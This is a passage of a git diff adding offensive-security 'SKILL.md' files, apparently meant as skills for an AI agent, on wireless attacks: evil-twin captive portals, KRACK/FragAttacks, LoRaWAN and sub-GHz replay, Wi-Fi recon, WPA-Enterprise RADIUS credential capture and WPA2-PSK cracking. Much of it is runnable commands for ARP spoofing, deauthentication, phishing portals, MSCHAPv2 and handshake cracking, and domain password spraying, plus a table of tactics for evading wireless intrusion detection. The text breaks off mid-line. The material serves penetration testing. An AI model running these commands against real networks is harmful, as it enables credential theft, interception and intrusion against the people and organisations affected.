wifiphisher / airgeddon include:+# - Generic OAuth-style (Google/MS/Facebook clones)+# - Vendor router login pages (matched to nearby AP brand)+# - Corporate-themed portal harvesting AD creds+# - Update-required prompts delivering EXE/APK payloads++# Custom: simple Flask+iptables setup+iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j DNAT --to-destination 10.10.10.1:8080+iptables -t nat -A POSTROUTING -j MASQUERADE+python3 -m flask run --host=10.10.10.1 --port=8080+```++For high-fidelity portals, mirror the legitimate captive portal's HTML/CSS exactly. Most users skim, don't read URLs.++## Post-Association MITM++Once a client associates and you're their gateway:++```bash+# Transparent TLS MITM (requires CA cert install on client OR clients with MITM-able apps)+mitmproxy --mode transparent --showhost --ssl-insecure++# Bettercap full pipeline (sniff, ARP, DNS, JS injection)+sudo bettercap -iface wlan0 -eval "set arp.spoof.targets *; arp.spoof on; net.sniff on; http.proxy on"+```++Without portal-level CA install, modern HTTPS / HSTS / certificate pinning prevents most TLS interception. Useful targets:++- Captive portal cleartext flows+- Apps with broken pinning (run `offensive-mobile` skills against the app)+- Plain-HTTP services still in use (legacy IoT, old mgmt panels)+- DNS hijack (return attacker IPs for non-pinned services)++## MAC Randomization Defeat++iOS, recent Android, and Windows 11 randomize MACs per network. They still leak per-network stable identifiers in:++- Per-SSID MAC consistency (same MAC for same SSID over time)+- Probe sequence numbers+- 802.11 IE order (manufacturer fingerprint)++```bash+# Cluster probes to track devices across MACs+hcxdumptool -i wlan0mon --enable_status=15 --rds=2+# Analyze with hcxhash2cap / wifite-style fingerprinting+```++## Detection Considerations++| Defender Signal | Mitigation by Attacker |+|---|---|+| Rogue AP detection (BSSID not in WIPS allow-list) | Match real BSSID exactly + suppress own AP advertisement |+| KARMA pattern (single AP responding to many ESSIDs) | Use Mana mode |+| RSSI delta (your AP closer than legit) | Run from a distance, lower TX power |+| Beacon timing inconsistency vs real AP | Match beacon interval, IE order |+| Captive portal HTML differs from real portal | Mirror exactly, refresh weekly |++Modern enterprise WIPS will flag KARMA almost immediately. Mana + matched BSSID is harder to detect without active de-cloaking by defenders.++## Engagement Cheatsheet++```bash+# 1. Recon — passive observe target ESSIDs and clients (no probes from you)+sudo airodump-ng wlan0mon -w probes++# 2. Pick mode based on environment+# - PSK known + co-located: spoofed BSSID + matched PSK + targeted deauth+# - Open networks (cafe, airport): straight evil twin or KARMA+# - Heterogeneous device population: Mana++# 3. Stand up rogue AP+sudo hostapd-mana /tmp/mana.conf+sudo dnsmasq -C /tmp/dnsmasq.conf++# 4. Captive portal / payload delivery / MITM+mitmproxy --mode transparent --showhost --ssl-insecure++# 5. Coerce specific clients if needed (deauth on legit AP)++# 6. Document captures, sessions, and time-on-target+```++---++## Key References++- hostapd-mana: github.com/sensepost/hostapd-mana+- wifiphisher: wifiphisher.org+- airgeddon: github.com/v1s1t0r1sh3r3/airgeddon+- KARMA / Mana original talks (DEF CON, Sensepost research)+- "Probing into the Past" research on PNL exploitation+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-krack-fragattacks/SKILL.md b/Skills/wireless/offensive-krack-fragattacks/SKILL.mdnew file mode 100644index 0000000..b0eb255--- /dev/null+++ b/Skills/wireless/offensive-krack-fragattacks/SKILL.md@@ -0,0 +1,114 @@+---+name: offensive-krack-fragattacks+description: "KRACK (CVE-2017-13077..082) and FragAttacks (CVE-2020-24586..588 + 26139-26147) — key reinstallation, fragmentation, and aggregation attacks against WPA2 supplicants. Covers Vanhoef's test scripts, viability against modern patched stacks (mostly mitigated post-2021), residual unpatched embedded devices and IoT vendors, and the practical limitations of these attacks in modern engagements. Use when assessing legacy supplicants, embedded clients, or vendors with poor patch cadence."+---++# KRACK & FragAttacks++Two attack families against WPA2 client implementations. Both well-disclosed (KRACK 2017, FragAttacks 2021) and largely patched on modern OSes — but the embedded/IoT long tail keeps them in scope for many engagements.++## When These Apply++| Family | Target | Patch Status |+|---|---|---|+| KRACK | WPA2 supplicants in 4-way handshake / GTK / FT / TDLS | Major OSes patched 2017–2018 |+| FragAttacks | Frame fragmentation/aggregation across WPA2/3 | Most stacks patched 2021–2022 |++Probability of success today is high only against:+- Embedded OEM devices (cameras, sensors, point-of-sale)+- Old Android phones (<8 unpatched)+- Industrial / SCADA Wi-Fi clients+- Wi-Fi-enabled toys, smart bulbs, no-name IoT++Modern Win11 / iOS 16+ / Android 13+ / hostapd-2.10 are mitigated.++## KRACK — Key Reinstallation++The 4-way handshake's M3 retransmission causes the supplicant to reinstall the same PTK with reset nonce/replay counters. Frames encrypted under the reused keystream become decryptable.++```bash+# Vanhoef's official test scripts+git clone https://github.com/vanhoefm/krackattacks-scripts+cd krackattacks-scripts/krackattack+sudo ./krack-test-client.py --interface wlan0+# Tests the supplicant on a connected client+```++Output identifies which CVE variants the client is vulnerable to.++### Practical Outcomes++When successful:+- Decryption of WPA2-encrypted frames between client and AP+- TKIP downgrade enables packet injection+- Recovery of session keys for the duration of the affected key cycle++Not a PSK recovery — you don't get the wireless password from KRACK.++## FragAttacks — Frame Splicing++FragAttacks abuse 802.11 fragmentation and aggregation to inject frames that mix encrypted and plaintext fragments, or to splice attacker-controlled fragments into legitimate frames.++```bash+git clone https://github.com/vanhoefm/fragattacks+cd fragattacks+sudo ./test-fragattacks.py wlan0 --interface wlan0+# Suite of ~12 tests covering each variant+```++| CVE | Mechanism |+|---|---|+| CVE-2020-24588 | A-MSDU spoofing — inject crafted A-MSDU subframes |+| CVE-2020-24587 | Mixed-key fragment cache poisoning |+| CVE-2020-24586 | Decoupled fragment cache → reuse |+| CVE-2020-26139 | Forwarding plaintext frames before authentication |+| CVE-2020-26140 | Accepting plaintext frames in protected network |++### Practical Outcomes++- Inject malicious frames that the client treats as legitimate (HTTP redirect, DNS poison)+- Read decrypted fragments from cached state+- Cross-protect data exfil via crafted A-MSDU++## Targeting Workflow++1. Identify the in-scope client (MAC, OS, vendor)+2. Estimate patch likelihood — if modern OS, likely patched; if embedded, likely vulnerable+3. Run the test suite from a controlled AP setup+4. Report each vulnerable variant separately with the matching CVE++```bash+# Rogue AP that drives the test+sudo hostapd-mana /tmp/krack_test_ap.conf++# Force client to associate (deauth from real AP, or social-engineer)+sudo aireplay-ng --deauth 5 -a <real-BSSID> -c <client-MAC> wlan0mon++# Run test once associated+sudo ./krack-test-client.py --interface wlan0+```++## Detection++- WIPS may flag deauth-driven roams to attacker AP+- Test scripts generate distinctive frame patterns; modern WIPS recognizes Vanhoef's tooling+- Successful exploitation is essentially silent at protocol level++## Reporting++For each vulnerable CVE:++- Client model + firmware version (be specific)+- Variant tested + result (vulnerable / patched / partial)+- Practical impact in the engagement context (decryption only, or injection viable?)+- Remediation: vendor patch URL, mitigation (WPA3 + PMF blocks most)++---++## Key References++- KRACK: krackattacks.com (Vanhoef)+- FragAttacks: fragattacks.com (Vanhoef)+- Original papers: USENIX Security 2017 (KRACK), USENIX Security 2021 (FragAttacks)+- CISA advisories tracking embedded vendor patches+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-lorawan-sub-ghz/SKILL.md b/Skills/wireless/offensive-lorawan-sub-ghz/SKILL.mdnew file mode 100644index 0000000..d17360a--- /dev/null+++ b/Skills/wireless/offensive-lorawan-sub-ghz/SKILL.md@@ -0,0 +1,182 @@+---+name: offensive-lorawan-sub-ghz+description: "LoRaWAN and sub-GHz (433 / 868 / 915 MHz) attack methodology — LoRaWAN ABP/OTAA join attack, network/session key reuse, frame counter replay, downlink injection on TTN/Helium-style networks, sub-GHz protocol replay (KeeLoq garage doors, fixed-code remotes, TPMS spoofing, smart plug telemetry), HackRF / RTL-SDR / Flipper Zero workflows, signal analysis with Inspectrum / Universal Radio Hacker, and reconstruction of proprietary packet formats. Use for LoRaWAN deployments (smart cities, asset tracking, industrial telemetry), or any wireless device using the unlicensed 433/868/915 MHz bands (garage openers, doorbells, IoT sensors, RC equipment)."+---++# LoRaWAN & Sub-GHz Attacks++LoRaWAN provides long-range low-bitrate communication for IoT — common in smart cities, asset tracking, and industrial telemetry. Outside LoRaWAN, the 433 / 868 / 915 MHz ISM bands host garage doors, doorbells, smart plugs, weather stations, and TPMS — most with weak or no crypto.++## Quick Workflow++1. Identify the band + modulation (LoRa CSS vs. simple OOK/FSK)+2. Capture transmissions with appropriate hardware (HackRF / RTL-SDR / Flipper Zero)+3. For LoRaWAN: capture join + uplinks; analyze key derivation+4. For proprietary sub-GHz: demodulate, identify packet format, replay or craft++---++## Hardware++| Tool | Range | Use |+|---|---|---|+| RTL-SDR | RX only, 24 MHz–1.7 GHz | Cheap reconnaissance |+| HackRF One | RX/TX, 1 MHz–6 GHz | Full transceiver |+| Flipper Zero | RX/TX, sub-GHz | Quick replays, fixed-code attacks |+| LimeSDR / BladeRF | RX/TX, wider band | Higher fidelity for LoRaWAN |+| YARD Stick One | TX-focused sub-GHz | Targeted replays |+| LoRa-specific gateway (RAK / Heltec) | LoRaWAN dual-direction | Standards-compliant LoRaWAN testing |++## LoRaWAN++LoRaWAN is a MAC layer over LoRa physical (chirp spread spectrum). Devices either:+- **OTAA** (Over-the-Air Activation) — derive session keys at join+- **ABP** (Activation By Personalization) — pre-flashed keys++### OTAA Join Capture++```bash+# Capture LoRa packets with HackRF + Inspectrum+hackrf_transfer -r capture.iq -f 868000000 -s 1000000 -n 60000000+# Or LoRa-specific: rak_common_for_gateway++# Decode with PHY + MAC stack+git clone https://github.com/Lora-net/LoRaMac-node+# Or use ChirpStack as a sniffing gateway+```++The Join-Request and Join-Accept are encrypted with the device's AppKey. With AppKey (extracted from device firmware — see `offensive-iot`):++- Decrypt Join-Accept → recover NwkSKey, AppSKey+- Subsequent traffic decryption + injection++### ABP — Pre-Flashed Keys++ABP devices have NwkSKey + AppSKey flashed at manufacture. Common flaws:++- Same key across thousands of devices (vendor laziness)+- No frame counter rollover protection → replay any historical uplink+- DevAddr predictability (sequential allocation)++```bash+# If you have NwkSKey + AppSKey + DevAddr, decode/inject with lorawan-test-tools+git clone https://github.com/IoTsec/loraserver-attack-tools+python lora_inject.py --nwkskey <NWKS> --appskey <APPS> --devaddr <ADDR>+```++### Frame Counter Replay++Older LoRaWAN 1.0.x doesn't enforce strict frame counter monotonicity in all stacks. Replay an uplink with a different timestamp → server processes as fresh.++### Downlink Injection++If you control AppSKey + NwkSKey, you can inject downlinks (configuration changes, remote commands) to devices.++## Sub-GHz Proprietary Protocols++### Quick Capture + Replay (Flipper Zero / HackRF)++```bash+# RTL-SDR live monitor+rtl_433 -f 433.92M -A # auto-decode many devices+gqrx # interactive spectrum analyzer++# Flipper Zero Sub-GHz menu: Read → identify modulation → capture → save+# Then replay from the saved file++# HackRF capture+hackrf_transfer -r garage.iq -f 433920000 -s 8000000 -n 80000000+# Inspectrum to visualize, identify OOK / FSK, decode bits+```++### KeeLoq (Old Garage Doors, Some Cars)++KeeLoq uses a 32-bit block cipher with a manufacturer key. The manufacturer key was extracted publicly years ago for major brands. With it:++- Decrypt rolling code → predict next valid code+- Combined with capture-replay, take over the remote++```bash+# rolling-code-tools (research)+git clone https://github.com/AndrewMohawk/RollingPwn+```++Modern KeeLoq deployments (last 5 years) have rotated manufacturer keys, but legacy hardware (older garage doors, some industrial equipment) is in scope.++### Fixed-Code Remotes++Many cheap garage openers, doorbells, and smart plugs use fixed codes — the same packet every time you press the button. Capture once, replay forever.++```bash+# Flipper Zero: Read → Save → Send (from saved file)+# Or with RFCat:+python -c "import rflib; ..."+# OR with HackRF:+hackrf_transfer -t replay.iq -f 433920000 -s 8000000+```++### TPMS Spoofing++Tire-pressure monitoring sensors broadcast at 315/433 MHz with no authentication. Spoof low-pressure alerts:++```bash+# Capture legitimate TPMS+rtl_433 -f 315M -F json | grep TPMS++# Synthesize crafted alerts (custom modulator with HackRF)+# Useful for testing TPMS-aware vehicle systems or as denial-of-trust attack+```++### Reconstruction of Unknown Protocols++```bash+# Universal Radio Hacker (URH) — visual reverse engineering+urh+# Load .iq capture, identify modulation visually,+# auto-detect symbols, decode bits, identify packet structure+```++URH walks you from raw RF to a parsed protocol description, even with no docs.++## Engagement Cheatsheet++```bash+# 1. Identify band + modulation+rtl_433 -f <freq> -A # auto-detect known protocols+gqrx # spectrum view to find activity++# 2. For LoRaWAN+# - Set up gateway (or HackRF + LoRa decoding)+# - Capture joins + uplinks+# - Extract keys from device firmware (see offensive-iot)++# 3. For proprietary sub-GHz+# - Capture with HackRF / RTL-SDR+# - Visualize / decode with Inspectrum or URH+# - Replay or craft++# 4. Document modulation, frequency, packet format, replay viability+```++## Detection++- LoRaWAN networks have server-side anomaly detection (frame counter, signal strength, geographic) — varies widely by operator+- Sub-GHz consumer products typically have no monitoring+- TPMS / industrial equipment has minimal telemetry on RF anomalies++## Reporting++- Identify exact frequency, modulation, baud, and packet format per device+- Distinguish capture-replay vs. crafted-frame attacks+- Note crypto state (cleartext / weak-fixed-key / standards-compliant)+- For LoRaWAN: identify AppKey / NwkSKey / AppSKey storage in firmware++---++## Key References++- rtl_433 protocol database: github.com/merbanan/rtl_433+- Universal Radio Hacker: github.com/jopohl/urh+- RollingPwn (KeeLoq research): github.com/AndrewMohawk/RollingPwn+- LoRaWAN Specification: lora-alliance.org+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-wifi-recon/SKILL.md b/Skills/wireless/offensive-wifi-recon/SKILL.mdnew file mode 100644index 0000000..aa3a5e5--- /dev/null+++ b/Skills/wireless/offensive-wifi-recon/SKILL.md@@ -0,0 +1,203 @@+---+name: offensive-wifi-recon+description: "Wi-Fi reconnaissance methodology — adapter selection, monitor mode and packet injection setup, regulatory domain handling, multi-band airspace mapping, hidden SSID discovery, BSSID/ESSID/channel/PMF/encryption fingerprinting, client probe analysis, vendor OUI lookup, war-driving with Kismet/airodump-ng/Wigle, and structured airspace data capture for downstream attacks. Use at the start of any wireless engagement to build the target map before active attacks; covers 2.4 GHz, 5 GHz, and 6 GHz (Wi-Fi 6E) bands and adapter compatibility for each."+---++# Wi-Fi Reconnaissance++The first phase of any wireless engagement. Build a complete picture of the airspace before you deauth, evil-twin, or capture handshakes — every later attack depends on knowing the right BSSID, channel, encryption, and client population.++## Quick Workflow++1. Pick the right adapter for the target's band(s) and PHY+2. Verify monitor mode + injection actually work+3. Set the regulatory domain (legal channels and TX power)+4. Sweep all bands passively+5. Drill down on each in-scope BSSID for client population and PMF status+6. Record everything in a structured target list before any active attack++---++## Adapter Selection++| Chipset | Strengths | Notes |+|---------|-----------|-------|+| Atheros AR9271 (Alfa AWUS036NHA) | Solid 2.4 GHz monitor + injection | 802.11n only |+| Realtek RTL8812AU (AWUS036ACH) | Dual-band, injection | Driver: aircrack-ng/rtl8812au |+| MediaTek MT7612U (AWUS036ACM) | Stable dual-band | In-tree driver on modern kernels |+| MediaTek MT7921AU | Wi-Fi 6 monitor (limited) | Patched drivers required |+| AWUS036AXML / AXM | Wi-Fi 6E (6 GHz) | Bleeding edge — verify per release |++```bash+# Identify your radio+lsusb | grep -iE "(atheros|realtek|mediatek|alfa)"+iw dev+iw list | grep -A 8 "Supported interface modes"+iw list | grep -E "Frequencies:" -A 30+```++## Monitor Mode Setup++```bash+# Kill conflicting services+sudo airmon-ng check kill++# Enable monitor mode+sudo airmon-ng start wlan0+# Or manually+sudo ip link set wlan0 down+sudo iw wlan0 set monitor control+sudo ip link set wlan0 up++# Verify monitor mode + injection+sudo aireplay-ng --test wlan0mon+```++The injection test should report 30/30 ack rates against nearby APs. Lower scores indicate driver, antenna, or position issues.++## Regulatory Domain++```bash+# Check current+iw reg get++# Set explicitly (us = United States, jp = Japan extended, etc.)+sudo iw reg set US+```++Setting the right regdomain unlocks legitimate channels (US: 1–11 on 2.4, 36–165 on 5; JP adds 12–13 + 184+ DFS) and TX power. **Operate within the regdomain you're authorized to use.**++## Passive Multi-Band Sweep++```bash+# All bands+sudo airodump-ng wlan0mon --band abg++# 5 GHz only (helps see UNII bands)+sudo airodump-ng wlan0mon --band a++# 6 GHz (requires 6E-capable adapter and updated airodump-ng)+sudo airodump-ng wlan0mon --band ax++# Hop only specific channels+sudo airodump-ng wlan0mon -c 1,6,11,36,40,44,48+```++Capture to file for later analysis:++```bash+sudo airodump-ng wlan0mon --band abg --write recon --output-format pcap,csv+```++## Targeted Capture++Once you've identified an in-scope BSSID:++```bash+sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w target wlan0mon+```++Pin to the channel — channel-hopping during a focused capture loses frames.++## Hidden SSIDs++Hidden APs broadcast beacons with empty ESSID. The name leaks during client probes (active scan) or association requests:++```bash+# Wait for legitimate client to associate, ESSID appears in airodump output+# Or, if a client is already associated, deauth them once to force reassociation:+sudo aireplay-ng --deauth 1 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon+```++(Only deauth with explicit authorization — see `offensive-deauth-disassoc`.)++## Kismet for War-Driving++```bash+sudo kismet -c wlan0mon+# Open https://localhost:2501 for the dashboard+```++Kismet handles GPS integration, plots APs to a map, fingerprints by IE order, identifies probable IoT vendors from OUI prefixes, and tags known-vulnerable models.++For long-running captures, drop `--no-ncurses` and run headless under `tmux`.++## Wigle Submission++If the engagement permits:++```bash+# Export Kismet's .kismet → CSV → Wigle import format+kismetdb_dump_devices --in capture.kismet --out devices.csv+```++(Wigle aggregates wireless network observations geographically — useful for mapping but check ROE.)++## Vendor / OUI Identification++```bash+# Quick OUI lookup+echo "AA:BB:CC" | wireshark-tools/manuf-lookup+# Or check the airodump CSV's BSSID prefix against /usr/share/wireshark/manuf+```++Vendor identification informs:+- Likely default credentials (router brand → known defaults)+- Known firmware bugs (CVE per chipset)+- Whether WPS is likely vulnerable (Pixie Dust per chipset)+- Whether KRACK / FragAttacks patches are likely applied (vendor patch cadence)++## Data to Record per Target++| Field | Why |+|-------|-----|+| BSSID | Required for every active attack |+| ESSID | Match against PNL probes; client probe correlation |+| Channel + width | Pin radio for capture |+| Band | Adapter selection |+| Encryption | WPA2-PSK / WPA2-Enterprise / WPA3-SAE / Open / WEP |+| PMF (Protected Management Frames) | Whether deauth works |+| RSSI | Position planning |+| Beacon interval / TIM | Anomaly detection vs. evil-twin defenders |+| Vendor (OUI) | Likely default creds, known bugs |+| Client list (MACs + RSSI) | Targets for deauth/relay |+| WPS enabled? | Pixie Dust candidate |++## Detection Considerations++A defender's WIDS sees:+- New device entering the airspace (probe requests reveal even before association)+- Channel hopping patterns of monitor-mode interfaces+- Non-standard probe behavior (KARMA-style universal responses, see `offensive-evil-twin`)++Pure passive recon (no probes from your radio) is invisible to most WIDS deployments. Stay passive until you're committed to the active phase.++## Engagement Cheatsheet++```bash+# 1. Setup+sudo airmon-ng check kill && sudo airmon-ng start wlan0+sudo iw reg set US+sudo aireplay-ng --test wlan0mon # confirm injection (skip if pure passive)++# 2. Sweep all bands, write to file+sudo airodump-ng wlan0mon --band abg --write recon --output-format pcap,csv++# 3. Kismet for sustained map (optional)+sudo kismet -c wlan0mon --no-ncurses --daemonize++# 4. Per BSSID drill-down+sudo airodump-ng -c <ch> --bssid <BSSID> -w <name> wlan0mon++# 5. Build target list with all fields above+```++---++## Key References++- IEEE 802.11-2020 (combined spec)+- aircrack-ng documentation: aircrack-ng.org+- Kismet documentation: kismetwireless.net+- WIGLE: wigle.net (read the API ToS before automated submissions)+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-wpa-enterprise/SKILL.md b/Skills/wireless/offensive-wpa-enterprise/SKILL.mdnew file mode 100644index 0000000..a1a176b--- /dev/null+++ b/Skills/wireless/offensive-wpa-enterprise/SKILL.md@@ -0,0 +1,207 @@+---+name: offensive-wpa-enterprise+description: "WPA/WPA2/WPA3-Enterprise (802.1X / EAP) attack methodology — EAP method identification (PEAP-MSCHAPv2, EAP-TTLS, EAP-TLS, EAP-GTC, EAP-PWD, EAP-FAST), evil-twin RADIUS attacks with eaphammer for credential capture, MSCHAPv2 challenge-response cracking, EAP-TLS client certificate theft paths (DPAPI, NDES, AD CS auto-enrollment), supplicant validation bypass (missing server cert validation, missing CN pinning, BYOD misconfigurations), and post-capture pivots into AD via cracked domain credentials. Use for corporate Wi-Fi engagements where the network is 802.1X authenticated."+---++# WPA-Enterprise (802.1X / EAP) Attacks++Enterprise Wi-Fi delegates authentication to a RADIUS server — usually backed by AD. The PSK doesn't exist. Instead, you attack the supplicant's trust in the server certificate, the inner EAP method's crypto, or the cert-issuance path.++## Quick Workflow++1. Identify EAP method from beacons + initial EAP-Request/Identity+2. If MSCHAPv2-based (PEAP, TTLS): rogue RADIUS to capture challenge-response+3. If EAP-TLS: target the cert-issuance / cert-storage path (out of band)+4. Crack captured MSCHAPv2 offline → AD username + password+5. Pivot into the domain (see `offensive-active-directory` and `offensive-network`)++---++## EAP Method Identification++```bash+# Watch 802.1X exchange in monitor mode+sudo tshark -i wlan0mon -Y "eapol || eap" -V++# Or capture and analyze+sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture+# When client associates, read the EAP-Request/Identity and Type fields+wireshark eap_capture-01.cap+```++| EAP Type | Identifier | Common Inner |+|---|---|---|+| 13 | EAP-TLS | Client + server certs |+| 17 | LEAP | (legacy, weak) |+| 21 | EAP-TTLS | MSCHAPv2 / PAP / CHAP / GTC |+| 25 | PEAP | MSCHAPv2 (PEAPv0/MS) / GTC (PEAPv0/Cisco) |+| 43 | EAP-FAST | MSCHAPv2 (PAC-protected) |+| 47 | EAP-PWD | (Dragonblood-class research target) |++## Evil-Twin RADIUS (PEAP-MSCHAPv2 / TTLS-MSCHAPv2)++The most common attack path against corporate Wi-Fi.++```bash+# eaphammer — automated rogue AP + RADIUS+eaphammer --cert-wizard # generate self-signed cert (first run)+eaphammer -i wlan0 \+ --essid CorpWiFi \+ --bssid AA:BB:CC:DD:EE:FF \+ --auth wpa-eap \+ --creds+```++When a client associates, eaphammer logs:++```+[*] User: corp.local\jdoe+[*] Challenge: 1122334455667788+[*] Response: aabbccdd...+```++Crack offline:++```bash+# asleap — designed for MSCHAPv2 challenge/response+asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt++# Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)+hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule+```++The captured response is equivalent to NetNTLMv1 — feed it to a rainbow-table service (`crack.sh`) for guaranteed crack at moderate cost.++## Why Evil-Twin Works++The MSCHAPv2 inner exchange is encrypted in a TLS tunnel between the supplicant and the (real or fake) RADIUS server. If the supplicant doesn't validate:++- The CA chain on the RADIUS server certificate (most BYOD configurations)+- The CN / SAN of the RADIUS server certificate (often unenforced even with CA validation)++Then a self-signed cert is accepted, the tunnel is established with the attacker, and MSCHAPv2 happens inside.++**Mitigation defenders should use:**+- Push GPO requiring server cert validation+- Pin trusted CA + RADIUS server CN explicitly+- For BYOD, enrollment via SCEP/Intune that locks supplicant settings++## Supplicant Validation Bypass++### Windows++```+HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...+```++Look at the deployed wireless profile XML. Critical fields:++```xml+<ServerValidation>+ <DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>+ <ServerNames>radius.corp.local</ServerNames>+ <TrustedRootCA>...thumbprint...</TrustedRootCA>+</ServerValidation>+```++If `ServerNames` is missing or wildcard'd, evil-twin will succeed.++### iOS / macOS / Android (BYOD)++Manual entry → users typically click "Trust" on the certificate prompt the first time, including for the evil twin. After that the supplicant trusts the attacker cert by hash. Many BYOD networks rely on this acceptance without controlling the trust anchor.++## EAP-TLS Targets++EAP-TLS uses client certificates instead of passwords — there's nothing to crack from the wire. Attack vectors:++### Cert Theft from User Profile++- DPAPI master key + cert blob on Windows+ - `%APPDATA%\Microsoft\SystemCertificates\My\Certificates\`+ - Decrypt with DPAPI master key (requires user logon context or master key)+- macOS Keychain (login keychain) — local user access+- Android KeyStore — root + Frida hooks (see `offensive-mobile`)+- iOS — Keychain item with appropriate access group entitlement++### NDES / SCEP Misconfig++If the network uses SCEP for cert provisioning:++```bash+# Discover NDES endpoint (often /certsrv/mscep/mscep.dll)+curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll++# Enroll with stolen / weak challenge password+sscep enroll -c ca.crt -k client.key -r request.csr \+ -u http://ndes.corp.local/certsrv/mscep/mscep.dll \+ -l client.crt -E 3des -S sha1+```++### AD CS Auto-Enrollment with Permissive ACL++Domain users with `Enroll` permission on a Client Authentication template can mint their own certs. See `offensive-active-directory` for ESC1-class attacks.++## EAP-GTC++If GTC is offered (rare, often Cisco environments), the inner exchange is **plain text**. A successful evil-twin captures the password directly with no offline cracking needed. eaphammer captures GTC the same way as MSCHAPv2.++## Post-Crack Pivot++A cracked MSCHAPv2 yields `corp.local\jdoe : Password123!`. From there:++```bash+# Validate against AD+nxc smb dc.corp.local -u jdoe -p 'Password123!' -d corp.local++# Spray against other systems+nxc smb 10.0.0.0/24 -u jdoe -p 'Password123!' -d corp.local++# Initial AD enum+bloodhound-python -d corp.local -u jdoe -p 'Password123!' -ns dc.corp.local -c All+```++Hand off to the AD attack chain (`offensive-active-directory`, `offensive-network`).++## Detection Considerations++| Signal | Defender View |+|---|---|+| Rogue RADIUS server ESSID | WIPS rule: AP impersonation by ESSID/BSSID delta |+| Repeated MSCHAPv2 failures | RADIUS log: increased auth failures from one supplicant |+| Cert mismatch failures | Modern Windows endpoints log to Event Viewer (Wi-Fi 11005) |+| Captured user complaint | Users may report a "weird Wi-Fi prompt" — most don't |++To minimize: match the legitimate AP's BSSID exactly (spoofed MAC), use a CA-signed cert that mimics the real RADIUS CN if you can obtain one, time the attack during known disruption windows (lunch / start of day) to blend with reconnections.++## Engagement Cheatsheet++```bash+# 1. Identify EAP method+sudo tshark -i wlan0mon -Y "eap" -V | grep -E "(Type:|Identity)"++# 2. Run eaphammer evil twin+eaphammer --cert-wizard+eaphammer -i wlan0 --essid <CorpWiFi> --bssid <BSSID> --auth wpa-eap --creds++# 3. As clients connect, capture MSCHAPv2 challenges+# Watch eaphammer console for User/Challenge/Response++# 4. Crack offline+hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule+# Or asleap -C <chal> -R <resp> -W wordlist++# 5. Validate creds against domain+nxc smb <dc> -u <user> -p <pass> -d <domain>++# 6. Hand off to AD chain+```++---++## Key References++- eaphammer: github.com/s0lst1c3/eaphammer+- asleap: willhackforsushi.com/asleap+- crack.sh — NetNTLMv1 (MSCHAPv2) rainbow service+- RFC 3748 (EAP), RFC 5216 (EAP-TLS), RFC 7170 (EAP-TEAP)+- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.mddiff --git a/Skills/wireless/offensive-wpa2-psk/SKILL.md b/Skills/wireless/offensive-wpa2-psk/SKILL.mdnew file mode 100644index 0000000..8a702d5--- /dev/null+++ b/Skills/wireless/offensive-wpa2-psk/SKILL.md@@ -0,0 +1,176 @@+---+name: offensive-wpa2-psk+description: "WPA/WPA2-PSK attack methodology — four-way handshake capture via targeted deauthentication, PMKID attacks (no client required), hcxdumptool / hcxpcapngtool conversion to hashcat hc22000 format, GPU-accelerated cracking with dictionary, mask, and rule-based attacks, vendor default-PSK generators (UPC, Sky, BT, etc.), 802.11r FT key cracking, opportunistic key cache analysis, and signal-level optimization. Use when the in-scope network is WPA/WPA2 Personal — the most common consumer/SMB encryption mode."+---++# WPA/WPA2-PSK Attacks++The default mode for almost every consumer and SMB Wi-Fi network. The four-way handshake's PMKID and EAPOL frames give you everything you need to crack offline — no online attempts, no lockout, no detection signal beyond the deauth (which you can avoid with PMKID).++## Quick Workflow++1. Identify the target BSSID, channel, and encryption (see `offensive-wifi-recon`)+2. Try PMKID first (fast, no client interaction)+3. Fall back to four-way handshake capture if PMKID isn't yielded+4. Convert capture to hashcat-compatible format+5. Crack offline with appropriate wordlist + rules + masks++---++## PMKID Attack (Preferred When Possible)++The PMKID is included in the first message of the four-way handshake. Many APs leak it in response to a single association request — no real client needed.++```bash+# Setup+sudo airmon-ng check kill && sudo airmon-ng start wlan0+sudo iw reg set US++# Sweep PMKIDs across all visible APs+sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \+ --enable_status=1 \+ --filterlist_ap=targets.txt --filtermode=2++# Convert to hashcat format+hcxpcapngtool -o hash.hc22000 pmkid.pcapng+```++`targets.txt` contains BSSIDs (one per line) you're authorized to attack.++If `hash.hc22000` is empty, the AP doesn't yield PMKIDs. Move to four-way handshake.++## Four-Way Handshake Capture++```bash+# Pin to channel+sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon+```++If a client is associated:++```bash+# Targeted deauth (single client, low volume)+sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon+```++The handshake will appear in airodump's top-right corner as `WPA handshake: AA:BB:CC:DD:EE:FF`.++**Why one client at a time:** broadcast deauth (no `-c`) trips WIDS quickly and is louder. A single 5-deauth burst targeted at one MAC is enough.++## Verifying the Capture++```bash+hcxpcapngtool -o hash.hc22000 handshake-01.cap+# Look for "M1+M2 ... AUTHORIZED" or "M2 ... AUTHORIZED" lines+```++If the tool reports the M1/M2 pair without proper EAPOL authentication, capture again. Bad / partial handshakes will fail to crack.++## Cracking++### Dictionary + Rules++```bash+hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule+```++Useful wordlists:+- `rockyou.txt` (classic)+- `weakpass_3` / `weakpass_4` (huge breach corpus)+- `crackstation.txt`+- Targeted: company name, products, locations++### Mask Attacks for Common Default Patterns++```bash+# 10 digits (common 